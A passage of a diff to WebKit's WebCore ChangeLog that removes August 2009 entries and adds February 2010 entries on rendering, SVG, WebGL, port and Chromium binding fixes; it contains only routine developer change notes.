-        in r47444.
-
-        * html/HTMLKeygenElement.h:
-        * html/HTMLObjectElement.h:
-
-2009-08-19  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Allow dumping dangling nodes to the console.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28458
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        * inspector/InspectorBackend.cpp:
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::clearConsoleMessages):
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::releaseDanglingNodes):
-        (WebCore::InspectorDOMAgent::startListening):
-        (WebCore::InspectorDOMAgent::stopListening):
-        (WebCore::InspectorDOMAgent::handleEvent):
-        (WebCore::InspectorDOMAgent::bind):
-        (WebCore::InspectorDOMAgent::unbind):
-        (WebCore::InspectorDOMAgent::pushDocumentToFrontend):
-        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
-        (WebCore::InspectorDOMAgent::discardBindings):
-        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
-        (WebCore::InspectorDOMAgent::buildObjectForNode):
-        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::setDetachedRoot):
-        (WebCore::InspectorFrontend::childNodeCountUpdated):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._formatnode):
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMAgent.prototype._setDetachedRoot):
-        (WebInspector.DOMAgent.prototype._childNodeCountUpdated):
-        (WebInspector.setDetachedRoot):
-        (WebInspector.childNodeCountUpdated):
-        (InspectorController.pushNodeToFrontend):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.pushNodeToFrontend):
-        (InjectedScript.createProxyObject):
-
-2009-08-19  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27464
-        Implement application cache online whitelist wildcard flag
-
-        Test: http/tests/appcache/whitelist-wildcard.html
-
-        A "*" in NETWORK section means that network loading needn't be blocked.
-
-        * loader/appcache/ApplicationCache.cpp:
-        (WebCore::ApplicationCache::isURLInOnlineWhitelist):
-        * loader/appcache/ApplicationCache.h:
-        (WebCore::ApplicationCache::setAllowsAllNetworkRequests):
-        (WebCore::ApplicationCache::allowsAllNetworkRequests):
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::openDatabase):
-        (WebCore::ApplicationCacheStorage::store):
-        (WebCore::ApplicationCacheStorage::loadCache):
-        * loader/appcache/ManifestParser.cpp:
-        (WebCore::parseManifest):
-        * loader/appcache/ManifestParser.h:
-
-2009-08-19  Brady Eidson <beidson@apple.com>
-
-        Reviewed by Kevin Decker.
-
-        <rdar://problem/7042555> Loading certain pages on Tiger will start a spurious download
-        
-        Get rid of method swizzling entirely. This created problems when lower level
-        Foundation code would call into our own swizzled method.
-        
-        * platform/network/mac/ResourceHandleMac.mm: 
-        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): 
-        * platform/network/mac/WebCoreURLResponse.h:
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (-[NSURLResponse adjustMIMETypeIfNecessary]):
-
-2009-08-19  Adam Roben  <aroben@apple.com>
-
-        Fix linker warnings on Windows
-
-        Reviewed by Anders Carlsson.
-
-        Fixes <http://webkit.org/b/28462> WebCore causes linker warnings on
-        Windows about multiply-defined JSHTMLDataListElement symbols
-
-        * WebCore.vcproj/WebCore.vcproj: Exclude JSHTMLDataListElement.cpp
-        from the build (just like we do for the other generated bindings
-        files) so that we don't get warnings about multiply-defined symbols in
-        JSHTMLDataListElement.cpp and DerivedSources.cpp. Also removed
-        duplicate versions of JSSVGElementWrapperFactory.cpp, and let VS
-        reorder a few files.
-
-2009-08-19  Jungshik Shin  <jshin@chromium.org>
-
-        Reviewed by Eric Seidel
+        Bug 35065: Delay between page loading and animated GIF playing
+        <http://webkit.org/b/35065> / <rdar://problem/7109548>
 
-        Add 'icu::' qualifier when refering to ICU C+names.
+        BitmapImage::startAnimation was adding the current frame duration to the desired start time
+        of the frame for every time it was called.  If the function then bailed out due to not having
+        sufficient data to render the frame, this would lead to the desired start time of the frame
+        being pushed out multiple times.  On an animated GIF that took mulitple seconds to load this
+        could happen many times for a single frame, resulting in the start time of the second frame
+        of the animation being pushed out by as much as five seconds.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28410
-
-        No change in the test result.
-
-        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
-        (WebCore::fontContainsCharacter):
-
-2009-08-19  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Cleanup from my patch thet rewrote overflow.  Remove unused member variables from RenderTableSection and
-        move the addition of overflow from children into a separate pass after the height of the section has been
-        set.  This prevents the RenderOverflow struct from being aggressively allocated for all table sections.
-        (Not a a correctness issue, just a memory issue.)
-
-        * rendering/RenderTableSection.cpp:
-        (WebCore::RenderTableSection::RenderTableSection):
-        (WebCore::RenderTableSection::layoutRows):
-        * rendering/RenderTableSection.h:
-
-2009-08-19  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Xan Lopez.
-
-        [Gtk] Remove bogus dependency rules for built sources that derive
-        from HTMLTagNames.in, HTMLAttributeNames.in and xmlattrs.in. The
-        header files should be generated regardless of whether the source
-        file changed or not. We should only rely on the *.in files being
-        changed.
-
-        * GNUmakefile.am:
-
-2009-08-18  Maciej Stachowiak  <mjs@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        convert FormatBlock candidate tag list from if chain to hash lookup
-        https://bugs.webkit.org/show_bug.cgi?id=28448
-
-        No behavior change, just cleanup.
-
-        * editing/htmlediting.cpp:
-        (WebCore::validBlockTag):
-        * editing/htmlediting.h:
+        * platform/graphics/BitmapImage.cpp:
+        (WebCore::BitmapImage::startAnimation): Change the order of the code slightly so that the
+        desired start time is only updated after determining that we have sufficient data to handle
+        the next frame.
 
-2009-08-19  Mike Fenton  <mike.fenton@torchmobile.com>
+2010-02-17  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by Eric Seidel.
 
-        Update GraphicsContextSkia's version of drawLine to make use of the shared
-        adjustLineToPixelBoundaries function and elimination overlapping code.
+        Implemented homeDirectoryPath() and listDirectory() on the Haiku platform.
+        https://bugs.webkit.org/show_bug.cgi?id=34687
 
-        https://bugs.webkit.org/show_bug.cgi?id=28268
+        Covered by existing tests.
 
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawLine):
+        * platform/haiku/FileSystemHaiku.cpp:
+        (WebCore::homeDirectoryPath): Implemented
+        (WebCore::listDirectory): Implemented
 
-2009-08-18  Mike Fenton  <mike.fenton@torchmobile.com>
+2010-02-17  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        Style fixes based on cpp_style.py and WebKit Style guide for
-        GraphicsContextSkia.cpp
-
-        https://bugs.webkit.org/show_bug.cgi?id=28268
-
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        (WebCore::GraphicsContext::drawFocusRing):
-        (WebCore::GraphicsContext::roundToDevicePixels):
-        (WebCore::GraphicsContext::setLineDash):
-        (WebCore::GraphicsContext::setPlatformShadow):
-
-2009-08-18  Alexey Proskuryakov  <ap@webkit.org>
+        [BREWMP] Port userIdleTime
+        https://bugs.webkit.org/show_bug.cgi?id=34259
 
-        Reviewed by Maciej Stachowiak.
+        Return an arbitrarily high userIdleTime so that releasing pages from the page
+        cache isn't postponed.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28446
-        Custom request headers shouldn't be sent with cross-origin preflight request
+        * platform/brew/SystemTimeBrew.cpp: Added.
+        (WebCore::userIdleTime):
 
-        Tests: http/tests/xmlhttprequest/access-control-preflight-headers-async.html
-               http/tests/xmlhttprequest/access-control-preflight-headers-sync.html
+2010-02-17  Dirk Schulze  <krit@webkit.org>
 
-        * loader/DocumentThreadableLoader.cpp:
-        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight):
-        Don't copy headers to OPTIONS request. The spec is vague about this, but the intention was
-        that they shouldn't be sent, and Firefox doesn't send them.
+        Rolling out r54909. Breaks SL and Win.
 
-2009-08-18  John Gregg  <johnnyg@google.com>
+2010-02-17  Dumitru Daniliuc  <dumi@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        V8 Bindings for Desktop Notifications feature.
-        https://bugs.webkit.org/show_bug.cgi?id=28271
-
-        * WebCore.gypi: 
-        added notification files to build (all still behind a flag that's not on)
-        * bindings/scripts/CodeGeneratorV8.pm:
-        added special case in DOMWindow/AppCache style for named event handlers
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/V8Proxy.h:
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8NotificationCenterCustom.cpp: Added.
-        * notifications/Notification.h:
-        made event handler routines public (as they are in DOMWindow, eg) for
-        binding access.
-        * notifications/NotificationCenter.idl:
-        needed to make methods V8Custom to support different behaviors in 
-        worker/page context in chromium. 
-        * workers/WorkerThread.h:
-        (WebCore::WorkerThread::getNotificationPresenter):
-        (WebCore::WorkerThread::setNotificationPresenter):
-        needed to make these methods public as well so chromium can inject
-        the notification presenter into the worker thread.
-
-2009-08-13  Maciej Stachowiak  <mjs@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        - Implement HTML5 nav element
-        https://bugs.webkit.org/show_bug.cgi?id=27937
+        Fix Chromium's bindings for Database.transaction(): a 'null'
+        callback should be treated as no callback.
 
-        <nav> should behave essentially the same as <div> for parsing
-        etc. This is implemented by the changes below.
-        
-        Tests: fast/html/nav-element.html
+        Test: storage/null-callbacks.html
 
-        * css/html.css:
-        * editing/htmlediting.cpp:
-        (WebCore::validBlockTag):
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::tagPriority):
-        (WebCore::blockTagList):
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::getNode):
-        * html/HTMLTagNames.in:
+        https://bugs.webkit.org/show_bug.cgi?id=35047
 
-2009-08-18  Anders Carlsson  <andersca@apple.com>
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::createTransaction):
 
-        Reviewed by Adele Peterson, David Hyatt and Dan Bernstein.
+2010-02-17  Dirk Schulze  <krit@webkit.org>
 
-        - Fix <rdar://problem/7152727>
+        Reviewed by Nikolas Zimmermann.
 
-        If a page has custom scroll bars, they will not update correctly when the window is activated/deactivated.
-        
-        * page/FrameView.cpp:
-        (WebCore::FrameView::hasCustomScrollbars):
-        Check if the frame view or any of its subviews have custom scroll bars.
-        
-        (WebCore::FrameView::updateControlTints):
-        Go ahead and update control tints if the frame view has custom scroll bars.
-        
-        * page/FrameView.h:
+        Move SVGResources to Renderers, starting with Masker
+        https://bugs.webkit.org/show_bug.cgi?id=35020
 
-2009-08-18  Mark Rowe  <mrowe@apple.com>
+        We have rendering specific code in WebCore/svg/graphics. The goal is to move
+        this code into suitable Renderers. This helps us to clean up the code and makes
+        maintenance easier. It also makes it possible to remove rendering specific code
+        from SVG*Elements into this renderers. So the Renderer contains everything that
+        is needed to use the resource.
+        RenderSVGResource will be the base class for all new resource render classes like
+        RenderSVGResourceMasker, RenderSVGResourceClipper and the other resources.
 
-        Roll out r47477 as it introduced assertion failures and crashes on the build bots.
+        This patch starts moving SVGResourceMasker to RenderSVGResourceMasker.
+        Another benefit is the much more useful result in DRT on using masker.
 
+        * Android.mk:
         * GNUmakefile.am:
         * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/Database.cpp:
-        * storage/Database.h:
-        * storage/DatabaseThread.cpp:
-        (WebCore::DatabaseThread::DatabaseThread):
-        * storage/DatabaseThread.h:
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::runCurrentStatement):
-        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
-        (WebCore::SQLTransaction::postflightAndCommit):
-        * storage/SQLTransactionClient.cpp: Removed.
-        * storage/SQLTransactionClient.h: Removed.
-
-2009-08-18  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding the SharedTimer file for WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=28126
-
-        * platform/haiku/SharedTimerHaiku.cpp: Added.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::toRenderSVGResource): Conversion to RenderSVGResource base class.
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isSVGResource): Check if renderer is a resource.
+        * rendering/RenderPath.cpp:
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGImage.h: Some code clean up according to the webkit style.
+        (WebCore::RenderSVGImage::toSVGRenderBase):
+        (WebCore::RenderSVGImage::renderName):
+        (WebCore::RenderSVGImage::isSVGImage):
+        (WebCore::RenderSVGImage::localToParentTransform):
+        (WebCore::RenderSVGImage::strokeBoundingBox):
+        (WebCore::RenderSVGImage::requiresLayer):
+        (WebCore::RenderSVGImage::localTransform):
+        * rendering/RenderSVGInlineText.h:
+        (WebCore::RenderSVGInlineText::objectBoundingBox): Needed for SVGRenderTreeAsText
+        * rendering/RenderSVGModelObject.cpp:
+        (WebCore::RenderSVGModelObject::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGModelObject.h:
+        * rendering/RenderSVGResource.h: Added.
+        (WebCore::): Base class for all Resource renderers like masker, clipper and others.
+        (WebCore::RenderSVGResource::RenderSVGResource):
+        (WebCore::RenderSVGResource::cast):
+        (WebCore::RenderSVGResource::toRenderSVGResource):
+        (WebCore::RenderSVGResource::isSVGResource): 
+        (WebCore::RenderSVGResource::drawsContents):
+        (WebCore::getRenderSVGResourceById):
+        * rendering/RenderSVGResourceMasker.cpp: Added.
+        (WebCore::RenderSVGResourceMasker::RenderSVGResourceMasker):
+        (WebCore::RenderSVGResourceMasker::~RenderSVGResourceMasker):
+        (WebCore::RenderSVGResourceMasker::invalidateClients): Status of masker changed, remove all clients.
+        (WebCore::RenderSVGResourceMasker::invalidateClient): Status of an object changed, remove pending client.
+        (WebCore::RenderSVGResourceMasker::applyResource): Apply masker to object.
+        (WebCore::RenderSVGResourceMasker::resourceBoundingBox): boundingBox of the resource, depending on the object.
+        (WebCore::RenderSVGResourceMasker::createMaskImage): Creates the mask image, the context gets clipped with.
+        * rendering/RenderSVGResourceMasker.h: Added.
+        (WebCore::MaskerData::MaskerData):
+        (WebCore::RenderSVGResourceMasker::renderName):
+        (WebCore::RenderSVGResourceMasker::maskUnits): Unit of mask for DRT.
+        (WebCore::RenderSVGResourceMasker::maskContentUnits): Unit of childs from mask for DRT.
+        (WebCore::RenderSVGResourceMasker::resourceType):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::destroy): dito.
+        * rendering/RenderSVGText.h:
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::write):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+        (WebCore::SVGRenderBase::maskerBoundingBoxForRenderer):
+        (WebCore::SVGRenderBase::deregisterFromResources): Unregister object from all it's resources after status changed.
+        * rendering/SVGRenderSupport.h:
+        (WebCore::SVGRenderBase::toSVGRenderBase):
+        (WebCore::SVGRenderBase::strokeBoundingBox):
+        (WebCore::SVGRenderBase::markerBoundingBox):
+        * rendering/SVGRenderTreeAsText.cpp: Update TreeAsText to dump maskers correctly.
+        (WebCore::operator<<):
+        (WebCore::writeSVGResource):
+        (WebCore::writeSVGContainer):
+        (WebCore::writeSVGText):
+        (WebCore::writeSVGInlineText):
+        (WebCore::writeSVGImage):
+        (WebCore::write):
+        (WebCore::writeResourcesToObject):
+        * rendering/SVGRenderTreeAsText.h:
+        * svg/SVGMaskElement.cpp: Update Masker to use the new renderer.
+        (WebCore::SVGMaskElement::svgAttributeChanged):
+        (WebCore::SVGMaskElement::childrenChanged):
+        (WebCore::SVGMaskElement::maskBoundingBox):
+        (WebCore::SVGMaskElement::createRenderer):
+        * svg/SVGMaskElement.h:
+        * svg/SVGStyledElement.cpp: We need to tell the renderer to unregister object, after the status changed.
+        (WebCore::SVGStyledElement::invalidateResources):
+        (WebCore::SVGStyledElement::invalidateResourcesInAncestorChain):
+        * svg/SVGUnitTypes.h: Conversion of integer to SVGUnitType.
+        (WebCore::toUnitType):
+        * svg/graphics/SVGResource.h:
         (WebCore::):
-        (WebCore::SharedTimerHaiku::SharedTimerHaiku):
-        (WebCore::SharedTimerHaiku::~SharedTimerHaiku):
-        (WebCore::SharedTimerHaiku::instance):
-        (WebCore::SharedTimerHaiku::start):
-        (WebCore::SharedTimerHaiku::stop):
-        (WebCore::SharedTimerHaiku::Filter):
-        (WebCore::setSharedTimerFiredFunction):
-        (WebCore::setSharedTimerFireTime):
-        (WebCore::stopSharedTimer):
-
-2009-08-18  Mark Rowe  <mrowe@apple.com>
-
-        Release build fix.
+        (WebCore::SVGResource::isMarker):
+        * svg/graphics/SVGResourceMasker.cpp: Removed.
+        * svg/graphics/SVGResourceMasker.h: Removed.
 
-        * xml/XMLHttpRequest.cpp: Sprinkle some #ifndef NDEBUG around.
-        (WebCore::XMLHttpRequest::XMLHttpRequest):
-        (WebCore::XMLHttpRequest::~XMLHttpRequest):
+2010-02-17  Kenneth Russell  <kbr@google.com>
 
-2009-08-18  Aaron Boodman  <aa@chromium.org>
-
-        Reviewed by Maciej Stachowiak.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28412: Leak of WebCore::XMLHttpRequest object during layout tests.
-
-        No new tests: Already covered by existing tests.
-
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::XMLHttpRequest): Add instrumentation for this kind of leak.
-        (WebCore::XMLHttpRequest::~XMLHttpRequest): Ditto.
-        (WebCore::XMLHttpRequest::createRequest): Only setPendingActivity() if we actually started a request. Also,
-        restore a call to nonCacheRequestInFlight() that got lost in a recent refactor.
-
-2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+        Reviewed by Oliver Hunt.
 
-        Reviewed by Dimitri Glazkov.
+        Refactor texImage2D and texSubImage2D taking Image to use common code
+        https://bugs.webkit.org/show_bug.cgi?id=34458
 
-        Added a client to SQLTransaction. In addition to being a place to
-        get notifications about certain events in a transaction, it is
-        also an abstraction layer that allows us to plug in different
-        implementations for each port for how transactions interract with
-        the main DB. For example, WebCore's default implementation will
-        make direct calls to DatabaseTracker's methods. At the same time,
-        Chromium's implementation will send IPCs to the browser process
-        whenever a transaction needs something from the main DB.
+        Merged the Safari and Chromium code which extracts the data from
+        Image objects into common entry points on GraphicsContext3D. This
+        immediately fixes the following three problems:
+          - Chromium not implementing texSubImage2D taking Image.
+          - Safari not obeying the flipY parameter to texImage2D or
+            texSubImage2D taking Image.
+          - Safari not obeying the premultipyAlpha parameter to texImage2D
+            or texSubImage2D taking Image.
+        Added new test verifying the behavior of texImage2D and
+        texSubImage2D and the flipY parameter. The premultiplyAlpha
+        parameter can not be tested yet as the implementation is not yet
+        spec compliant. This will be fixed in a follow-on bug.
 
-        All storage tests pass.
+        Ran all WebGL demos in demo repository on Safari and Chromium;
+        textures are now the right way up in both browsers, and
+        transparent textures in Particles demo now look correct in Safari.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27967
+        Test: fast/canvas/webgl/tex-image-and-sub-image-2d-with-image.html
 
-        * GNUmakefile.am:
+        * WebCore.gyp/WebCore.gyp:
         * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/Database.cpp:
-        (WebCore::Database::transactionClient):
-        * storage/Database.h:
-        * storage/DatabaseThread.cpp:
-        (WebCore::DatabaseThread::DatabaseThread):
-        * storage/DatabaseThread.h:
-        (WebCore::DatabaseThread::transactionClient):
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::runCurrentStatement):
-        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
-        (WebCore::SQLTransaction::postflightAndCommit):
-        * storage/SQLTransactionClient.cpp: Added.
-        * storage/SQLTransactionClient.h: Added.
-
-2009-08-18  Julie Parent  <jparent@chromium.org>
-
-        Not reviewed, build fix for Chromium.
-
-        Final change for v8 corresponding to http://trac.webkit.org/changeset/47469.
+        * platform/graphics/GraphicsContext3D.cpp: Added.
+        (WebCore::GraphicsContext3D::extractImageData):
+        (WebCore::GraphicsContext3D::processImageData):
+        (WebCore::GraphicsContext3D::premultiplyAlpha):
+        (WebCore::GraphicsContext3D::unmultiplyAlpha):
+        * platform/graphics/GraphicsContext3D.h:
+        (WebCore::GraphicsContext3D::):
+        * platform/graphics/cg/GraphicsContext3DCG.cpp: Added.
+        (WebCore::GraphicsContext3D::getImageData):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::texImage2D):
+        (WebCore::GraphicsContext3D::texSubImage2D):
+        * platform/graphics/skia/GraphicsContext3DSkia.cpp: Added.
+        (WebCore::GraphicsContext3D::getImageData):
 
-        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp: Added missing using statment
+2010-02-17  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-2009-08-18  Julie Parent  <jparent@chromium.org>
+        Reviewed by Ariya Hidayat.
 
-        Not reviewed, build fix for Chromium.
+        [Qt] GraphicsLayer: support perspective and 3D transforms
+        https://bugs.webkit.org/show_bug.cgi?id=34960
 
-       More corresponding changes to V8 from http://trac.webkit.org/changeset/47469.
+        New tests: http://webkit.org/blog-files/3d-transforms/perspective-by-example.html
 
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER): Use srcAttr instead of the src function.
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::updateTransform):
+        (WebCore::GraphicsLayerQtImpl::setBaseTransform):
+        (WebCore::GraphicsLayerQtImpl::computeTransform):
+        (WebCore::GraphicsLayerQtImpl::flushChanges):
+        (WebCore::TransformAnimationQt::~TransformAnimationQt):
 
-2009-08-18  Julie Parent  <jparent@chromium.org>
+2010-02-17  Peter Kasting  <pkasting@google.com>
 
-        Not reviewed, build fix for Chromium.
+        Unreviewed, build fix.
 
-        Make corresponding changes to V8 from http://trac.webkit.org/changeset/47469.
+        Fix crashes due to an omitted line in r54839.
 
-        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER): Use srcAttr instead of the src function.
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::decodingFailed):
 
-2009-08-18  Dan Bernstein  <mitz@apple.com>
+2010-02-17  Alok Priyadarshi  <alokp@chromium.org>
 
-        Build fix.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::getIdentifierValue):
+        Reviewed by Ariya Hidayat.
 
-2009-08-18  Darin Adler  <darin@apple.com>
+        Bug 34900: Implement accelerated compositing for chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=34900
 
-        Reviewed by Sam Weinig.
+        Do not exclude files needed for accelerated compositing. In fact there is no need to exclude these files.
+        These files are already guarded with WTF_USE_ACCELERATED_COMPOSITING flag.
 
-        More work on making DOM classes start with reference count of 1
-        https://bugs.webkit.org/show_bug.cgi?id=28068
+        * WebCore.gyp/WebCore.gyp: Removed GraphicsLayer.cpp, RenderLayerBacking.cpp,
+        and RenderLayerCompositor.cpp from excluded list.
 
-        Some related clean-up and preparation steps so the subsequent
-        patches will be as small as possible.
+2010-02-17  Jian Li  <jianli@chromium.org>
 
-        * WebCore.base.exp: Sorted this file.
+        Reviewed by Darin Fisher.
 
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityDescription):
-        Use nameAttr instead of the name function.
+        [chromium] Remove the obsolete chromium interface for handling DownloadURL.
+        https://bugs.webkit.org/show_bug.cgi?id=34982
 
-        * bindings/js/JSHTMLFrameElementCustom.cpp:
-        (WebCore::JSHTMLFrameElement::setSrc):
-        Use srcAttr instead of the src function.
+        * platform/chromium/ChromiumDataObject.cpp:
+        (WebCore::ChromiumDataObject::clear):
+        (WebCore::ChromiumDataObject::hasData):
+        (WebCore::ChromiumDataObject::ChromiumDataObject):
+        * platform/chromium/ChromiumDataObject.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::setData):
 
-        * bindings/js/JSHTMLIFrameElementCustom.cpp:
-        (WebCore::JSHTMLIFrameElement::setSrc):
-        Use srcAttr instead of the src function.
+2010-02-17  Dan Bernstein  <mitz@apple.com>
 
-        * bindings/objc/DOM.mm: Sorted includes.
-        * dom/Document.cpp: Ditto.
+        Reviewed by Darin Adler.
 
-        * dom/StyledElement.cpp: Made invalidateStyleAttribute inline.
-        * dom/StyledElement.h: Ditto.
+        <rdar://problem/7645569> REGRESSION (r51324): Incorrect marker rects for blocks that span multiple columns
 
-        * dom/make_names.pl: Changed default of createWithNew to 0.
-        Eventually all elements will be created with create instead of new.
+        * manual-tests/match-marker-rects.html: Added.
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::paintTextMatchMarker): Use the text renderer rather
+        than its ancestor block for the local-to-absolute transformation.
+        (WebCore::InlineTextBox::computeRectForReplacementMarker): Ditto.
 
-        * html/HTMLTagNames.in:
-        * svg/svgtags.in:
-        * wml/WMLTagNames.in:
-        Added createWithNew for every tag. We'll remove it as we convert
-        element classes to use create.
-
-        * html/HTMLAppletElement.h: Removed unneeded forward declarations.
-        * html/HTMLFrameElement.h: Ditto.
-
-        * html/HTMLEmbedElement.cpp: Removed many attribute get and
-        set functions.
-        * html/HTMLEmbedElement.h: Ditto.
-        * html/HTMLIFrameElement.cpp: Ditto.
-        * html/HTMLIFrameElement.h: Ditto.
-        * html/HTMLObjectElement.cpp: Ditto.
-        * html/HTMLObjectElement.h: Ditto.
-        * html/HTMLPlugInElement.cpp: Ditto.
-        * html/HTMLPlugInElement.h: Ditto.
-
-        * html/HTMLFrameElementBase.cpp: Removed many attribute get and
-        set functions.
-        (WebCore::HTMLFrameElementBase::location): Changed to use
-        srcAttr instead of src.
-        * html/HTMLFrameElementBase.h: Removed many attribute get and set
-        functions.
+2010-02-17 Gustavo Noronha Silva <gustavo.noronha@collabora.co.uk>
 
-        * loader/MediaDocument.cpp:
-        (WebCore::MediaDocument::replaceMediaElementTimerFired):
-        Use srcAttr and typeAttr instead of setSrc and setType.
-        * loader/PluginDocument.cpp:
-        (WebCore::PluginTokenizer::createDocumentStructure): Ditto.
+        Reviewed by Xan Lopez.
 
-        * rendering/RenderPartObject.cpp:
-        (WebCore::RenderPartObject::updateWidget): Use nameAttr instead
-        of name -- this avoids an extra AtomicString round trip and a little
-        ref count churn too.
+        Does not send an Accept header for subresources, causing some sites to break
+        https://bugs.webkit.org/show_bug.cgi?id=33242
 
-2009-08-18  Drew Wilson  <atwilson@google.com>
+        Set */* as the Accept header when downloading resources
+        that did not set an Accept header. This behaviour is similar to
+        the one adopted by Chromium.
 
-        Reviewed by David Levin.
+        Test: http/tests/misc/image-checks-for-accept.html
 
-        SharedWorkers need to support loading.
-        https://bugs.webkit.org/show_bug.cgi?id=28342
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startHttp):
 
-        Added loader support to shared workers, and refactored worker tests to also test SharedWorkers
+2010-02-17  Marcus Bulach  <bulach@chromium.org>
 
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::postTaskToLoader):
-        Forwards load requests to an arbitrary document from the list of worker's documents.
-        (WebCore::SharedWorkerProxy::postTaskForModeToWorkerContext):
-        Posts responses back to the shared worker thread.
+        Reviewed by Jeremy Orlow.
 
-2009-08-18  Ryosuke Niwa  <rniwa@webkit.org>
+        Fixes initialization order of members for GeolocationServiceChromium.
+        https://bugs.webkit.org/show_bug.cgi?id=35034
 
-        Reviewed by Darin Adler.
+        * platform/chromium/GeolocationServiceChromium.cpp:
 
-        StyleChange::init needs clean up before fixing the bug 23892
-        https://bugs.webkit.org/show_bug.cgi?id=27749
+2010-02-17  Xan Lopez  <xlopez@igalia.com>
 
-        This patch simplifies StyleChange::init by removing the iteration on CSS properties,
-        and adding functions reconcileTextDecorationProperties and extractTextStyle to handle the style.
+        Reviewed by Gustavo Noronha.
 
